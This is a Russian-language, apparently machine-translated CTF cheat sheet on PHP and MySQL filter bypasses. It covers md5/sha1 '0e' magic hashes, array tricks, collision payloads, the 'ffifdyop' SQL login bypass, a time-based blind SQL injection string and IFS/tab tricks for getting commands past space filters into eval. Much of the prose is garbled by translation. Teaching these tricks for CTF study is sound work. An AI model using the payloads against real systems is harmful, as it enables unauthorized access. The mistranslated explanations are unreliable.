Краткое обсуждение различных приемов обхода в CTF.
Краткое обсуждение различных приемов обхода в CTF.
  • Предисловие

В ходе аудита кода нам нетрудно обнаружить, что существует множество функций, которые требуют от нас обхода. Эти точки знаний многочисленны и малы. В принципе, мы можем понять их с первого взгляда, но в следующий раз, когда мы столкнемся с ними, они не столь ясны, и нам придется искать их снова и снова. Эта статья Статья кратко изложена. Если есть какие-либо недостатки, пожалуйста, дополните их.

обход шифрования md5

Слабый обход сравнения
Язык кода:javascript
копировать
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    echo 'success!';
}
Способ 1: обход 0e

принцип обхода:PHPОбработканить Могут возникнуть дефекты,Если нить равна '5e2',Это было просто нормальное нит,Но PHP подумает, что это научная запись.,Затем PHP при сравнении вычислит эту нить в соответствии с научной нотацией.,Прямо сейчас5e2=5*10^2=500, поэтому 0e100 считается равным и0. После шифрования md5 хеш-значение представляет собой серию шестнадцатеричных чисел, поэтому первая цифра хеш-значения должна быть 0, а вторая цифра — eПрямо. сейчас Да, все, что следует далее, считается равным и0

Следующая строка начинается с «0e» после передачи функции md5:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s1091221200a
  • s1665632922a

После одиночного и двухкратного шифрования с помощью функции md5 они оба начинаются с «0e»:

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk

Иногда в вопросах используются ctype_alnum(), is_numeric() или регулярные выражения, чтобы ограничить исходное значение чистыми буквами или чистыми числами.

Способ 2: обход массива

принцип обхода:Будь тоPHPСлабое сравнение или сильное сравнение,Функция md5() не может обработать множество,Если входящих из множества,вернет НУЛЬ,Оба возвращаемых значения после шифрования равны NULL.,Форма равная.

payload:

Язык кода:javascript
копировать
?a[]=1&b[]=2
Сильный обход сравнения
Язык кода:javascript
копировать
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) === md5($b)){
    echo 'success!';
}

Хотя PHP является слабо типизированным языком, вам также необходимо понимать типы переменных и их значения, поскольку нам часто приходится сравнивать переменные PHP, включая свободные и строгие сравнения.

  • Свободное сравнение: используйте два знака равенства. == Сравнение сравнивает только значения, а не типы.
  • Строгое сравнение: используйте три знака равенства. === Сравнения, помимо сравнения значений, также сравнивают типы.

Например, «42» это строка и 42 是一个整数。FALSE является логическим значением и “FALSE” это строка.

Метод: обход массива

Подробности, как указано выше

обход столкновений md5
Язык кода:javascript
копировать
<?php
$a = (string)$_POST['a'];
$b = (string)$_POST['b'];
if($a != $b && md5($a) === md5($b)){
    echo 'success!';
}

Из-за принудительного преобразования типов входящий массив получит значение «Array». Здесь нам может понадобиться только значение, не равное до md5 и равное после md5.

Метод: создать с помощью Fastcoll.

Посмотреть подробностиЭта статья

Полезная нагрузка приведена ниже для использования:

Язык кода:javascript
копировать
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

При передаче параметров POST кодирование URL необходимо выполнить еще раз.

Язык кода:javascript
копировать
a%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2500%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%2555%255d%2583%2560%25fb%255f%2507%25fe%25a2%26b%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2502%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%25d5%255d%2583%2560%25fb%255f%2507%25fe%25a2
сравнение усечения md5
Язык кода:javascript
копировать
<?php
$a=$_GET['a'];
if(substr(md5($str), 0, 6) === "edef"){
    echo 'success!';
}
Метод: Взрыв сценария

В этом случае можно написать скрипт для взрыва, что обычно занимает много времени.

Язык кода:javascript
копировать
from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '666666'      Открытый текст #Knownizmd5

def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
    key = code.split(':')
    start = int(key[0])
    end = int(key[1])
    for code in range(start, end):
        if md5(code)[0:6] == knownMd5:
            print(code)
list=[]
for i in range(1):    # Здесь изранж(число) означает, сколько результатов прекратится взрывная обработка.
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    # Используйте многопоточность для ускорения взрывной обработки
pool.map(findCode, list)
pool.close()
pool.join()
Исходное значение и зашифрованное хеш-значение md5. Слабый обход сравнения.
Язык кода:javascript
копировать
<?php
$a=$_GET['a'];
if($a == md5($a)){
    echo 'success!';
}
Метод: обход 0e

0e215962017 из md5 Значение также начинается с «0e», в PHP Равенство при сравнении слабых типов

Обход md5 при SQL-инъекции
Язык кода:javascript
копировать
Select * from ’admin’ where password=md5($pass,true)
Метод: Создайте универсальный пароль.

ffifdyopЭтот специальныйизнить,Очень классический

принцип обхода:использоватьffifdyopэтотнитьmd5функция Хэш-значение после обработки равно276f722736c95d99e921722cf9ed621c,Mysql просто преобразует шестнадцатеричное число в нить,恰好этот哈希ценить转化后是’or’6<Искаженные символы> Прямо сейчас 'or'66�]��!r,��b,Это формирует универсальный пароль. Кроме этого нить,129581926211651571912466741651878684928 тоже имеет тот же эффект

НАН и ИНФ
Язык кода:javascript
копировать
<?php
$a = NAN;
$b = NAN;
if($a != $b && md5($a) == md5($b)){
    echo 'success!';
}

принцип обхода:НАН и ИНФ,Соответственно нечисло и бесконечность,Но когда var_dump их, тип данных будет двойным.,Затем, когда функция md5 обрабатывает их,состоит в том, чтобы преобразовать его напрямую в нит”NAN”инить”INF”, используя,Но у них есть особые свойства,Они являются ложными при сравнении с любым типом данных (кроме true) в сильных или слабых типах.,Даже NAN=NAN неверно,Но md5('NAN')=md5('NAN') верно. (Я попробовал и обнаружил, что птица NAN действительно может,Но РСМД провалилась, не знаю почему.,В недоумении...)

обход шифрования sha1

Шифрование sha1 с обходом иMD5 — тот же подход, но тот же результат

мощный Слабый обход сравнения
Метод: обход массива

Функция sha1 также не может обрабатывать массивы. Если передан массив, она вернет NULL, что позволяет обойти сильное и слабое сравнение.

столкновение ша1
Язык кода:javascript
копировать
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

Это два одинаковых, но разных значения SHA1 (значения SHA256 разные) изpdf файлов

Обход космического фильтра

Под Linux
Язык кода:javascript
копировать
<?php
$a=$_GET['a'];
if(preg_match('/ /',$a)){
    die('wrong!')
}else{
    echo 'success!';
    eval($a);
}
$IFS
Язык кода:javascript
копировать
cat${IFS}flag
cat$IFS$9flag
cat$IFS$1flag

принцип обхода:Под В Linux есть специальная переменная среды, называемая IFS, называемый внутренним разделителем полей (внутренний field разделитель). Переменная среды IFS определяет bash Разделитель пользовательских полей оболочки представляет собой серию символов. По умолчанию Баш Оболочка будет рассматривать следующие символы как разделители полей: пробел, символ. табуляции、символ новой строки。простойизcat\IFSxxx, интерпретатор bash будет рассматривать весь IFSxxx как имя переменной, поэтому результат не может быть выведен. Однако, если вы добавите {}, имя переменной будет исправлено.Можно использовать для отрезанияизэффект,Зачем использоватьА что насчет 9? потому что9Просто нынешняя системаshellпроцессиз Девятый параметриздержатель,Всегда пусто нить.

< <> {,} %09 %20
Язык кода:javascript
копировать
cat<flag
cat<>flag
{cat,flag}
cat%09flag
cat%20flag

< или<>Нет эха при использовании с подстановочными знаками,Невозможно использовать одновременно

Используйте запятые для реализации функции пробела и их необходимо заключить в {}

В среде PHP вы можете использовать %09 (табуляция) для обхода пробелов.

Под MySQL
Используйте комментарии для обхода

принцип обхода:/**/это комментарий,Замените пробелы комментариями

Язык кода:javascript
копировать
select/**/column_name/**/from/**/information_schema.tables/**/where/**/table_name="users"

Пополнить:

/* …. */ Комментарии одинаковы на большинстве языков. В этом случае оператор из не выполняется. Но в MySQL Для обеспечения совместимости, например, из mysqldump. Операторы экспорта SQL могут напрямую использоваться другими базами данных. В них помещаются некоторые уникальные операторы, доступные только в MySQL. /*! … */ , чтобы эти операторы не выполнялись в других базах данных, а выполнялись в MYSQL.

/*!50001 select * from test */; Здесь из50001 означает, если Этот оператор будет выполнен только в том случае, если база данных имеет версию 5.00.01 или выше.

Используйте круглые скобки для обхода

принцип обхода:существоватьMySQLсередина,Круглые скобки используются для заключения подзапросов. поэтому,Любое утверждение, способное вычислить результат,может быть заключен в круглые скобки. И оба конца скобок из,Никаких дополнительных пробелов быть не может.

Язык кода:javascript
копировать
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

Приведенный выше оператор, часто используемый для внедрения с задержкой по времени, указывает, равен ли ASCII-код первого символа функции data() 109. Если да,загрузка будет отложена от for относится к обходу запятой. При использовании слепого внедрения вам необходимо использовать substr().,mid(),предел. Эти методы предложения требуют использования запятых.

Используйте специальные символы
Язык кода:javascript
копировать
%20 %09 %0a %0b %0c %0d %a0 %00

уязвимость слабого типа

обход функции strcmp
Язык кода:javascript
копировать
<?php
$id=$_GET['id'];
if(strcmp($secret,$id)==0){
	echo 'success!';
}

принцип обхода:использоватьstrcmpфункция Волямножествоили者对象类型与нить Сравнение вернется-1,Но начиная с 5.3,вернет 0

когда вошел?id[]=1час Прямо сейчас Можетbypass

array_search(), обход in_array()
Язык кода:javascript
копировать
<?php
if(!is_array($_GET['test'])){exit();}  // Определите, много ли это
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){  //Просматриваем содержимое множества. Все содержимое не может быть административным и должно быть одного типа.
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);  //Преобразуем в тип int
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

принцип обхода:array_search() Функция ищет значение ключа среди множества и возвращает соответствующее имя ключа. in_array() функцияпоискмножествосередина是否存существовать指定изценить。Базовый функционал тот жеиз,Другими словами, положение обхода также такое же. Используйте функцию, чтобы получить доступ к функции возврата «0», если оно не соответствует типу.,Непосредственный обход обнаружения。такpayload:?test[]=0

обход переключателя()

принцип обхода:еслиswitchэто числовой типизcaseиз判断час,переключатель преобразует параметры из в тип int,Например:

Язык кода:javascript
копировать
<?php
$i ="3name";
switch ($i) {
case 0:
case 1:
case 2:
     echo "this is two";
     break;
case 3:
     echo "flag";
break;
}
?>
Логический тип True будет иметь значение True при сравнении с ненулевыми и ненулевыми переменными.

Согласно содержанию руководства PHP

Любой тип значения в PHP, Сравнения с bool будут преобразованы в bool по сравнению с bool , считаются следующие значения **false**:

  • Логическое значение false сам
  • целое значение 0(ноль)
  • значение с плавающей запятой 0.0(ноль)-0.0(ноль)
  • нулевойнить "",а такженить "0"
  • Не содержит элементов измножество
  • Тип устройства NULL (включая переменные, которым еще не присвоено значение)
  • Внутренний объект поведения приведения перегружается как бул. Например: Создано из пустого элемента без атрибутов из SimpleXML объект.

Все остальные значения учитываются **true**(包括 ресурс и **NAN**)。

В этой статье используется соглашение CC-BY-SA-3.0. При перепечатке указывайте источник. Автор: ph0ebus

boy illustration
Что такое подробное объяснение файла WSDL_wsdl
boy illustration
Как запустить большую модель ИИ локально
boy illustration
Подведение итогов десяти самых популярных веб-фреймворков для Go
boy illustration
5 рекомендуемых проектов CMS с открытым исходным кодом на базе .Net Core
boy illustration
Java использует httpclient для отправки запросов HttpPost (отправка формы, загрузка файлов и передача данных Json)
boy illustration
Руководство по развертыванию Nginx в Linux (Centos)
boy illustration
Интервью с Alibaba по Java: можно ли использовать @Transactional и @Async вместе?
boy illustration
Облачный шлюз Spring реализует примеры балансировки нагрузки и проверки входа в систему.
boy illustration
Используйте Nginx для решения междоменных проблем
boy illustration
Произошла ошибка, когда сервер веб-сайта установил соединение с базой данных. WordPress предложил решение проблемы с установкой соединения с базой данных... [Легко понять]
boy illustration
Новый адрес java-библиотеки_16 топовых Java-проектов с открытым исходным кодом, достойных вашего внимания! Обязательно к просмотру новичкам
boy illustration
Лучшие практики Kubernetes для устранения несоответствий часовых поясов внутри контейнеров
boy illustration
Введение в проект удаления водяных знаков из коротких видео на GitHub Douyin_TikTok_Download_API
boy illustration
Весенние аннотации: подробное объяснение @Service!
boy illustration
Пожалуйста, не используйте foreach для пакетной вставки в MyBatis. Для 5000 фрагментов данных потребовалось 14 минут. .
boy illustration
Как создать проект Node.js с помощью npm?
boy illustration
Mybatis-plus использует typeHandler для преобразования объединенных строк String в списки списков.
boy illustration
Не удалось установить программное обеспечение Mitsubishi. Возможно, возникла проблема с реестром.
boy illustration
Разрешение ошибок проекта SpringBoot 3 mybatis-plus: org.apache.ibatis.binding.BindingException: неверный оператор привязки
boy illustration
Более краткая проверка параметров. Для проверки параметров используйте SpringBoot Validation.
boy illustration
Поиграйтесь с интеграцией Spring Boot (платформа запланированных задач Quartz)
boy illustration
Несколько популярных режимов интерфейса API: RESTful, GraphQL, gRPC, WebSocket, Webhook.
boy illustration
Redis: практика публикации (pub) и подписки (sub)
boy illustration
Подробное объяснение пакета Golang Context
boy illustration
Краткое руководство: создайте свое первое приложение .NET Aspire
boy illustration
Краткое обсуждение метода пакетной вставки MyBatis: обработка 100 000 фрагментов данных занимает всего 2 секунды.
boy illustration
[Инструмент] Используйте nvm для управления переключением версий nodejs, это так здорово!
boy illustration
HTML можно преобразовать в word_html для отображения текстовых документов.
boy illustration
Статья Spring Security 6.x для быстрого понимания принципов настройки
boy illustration
Не забудьте изменить имя каждого модуля RUOYI один раз, чтобы избежать мошенничества ~~~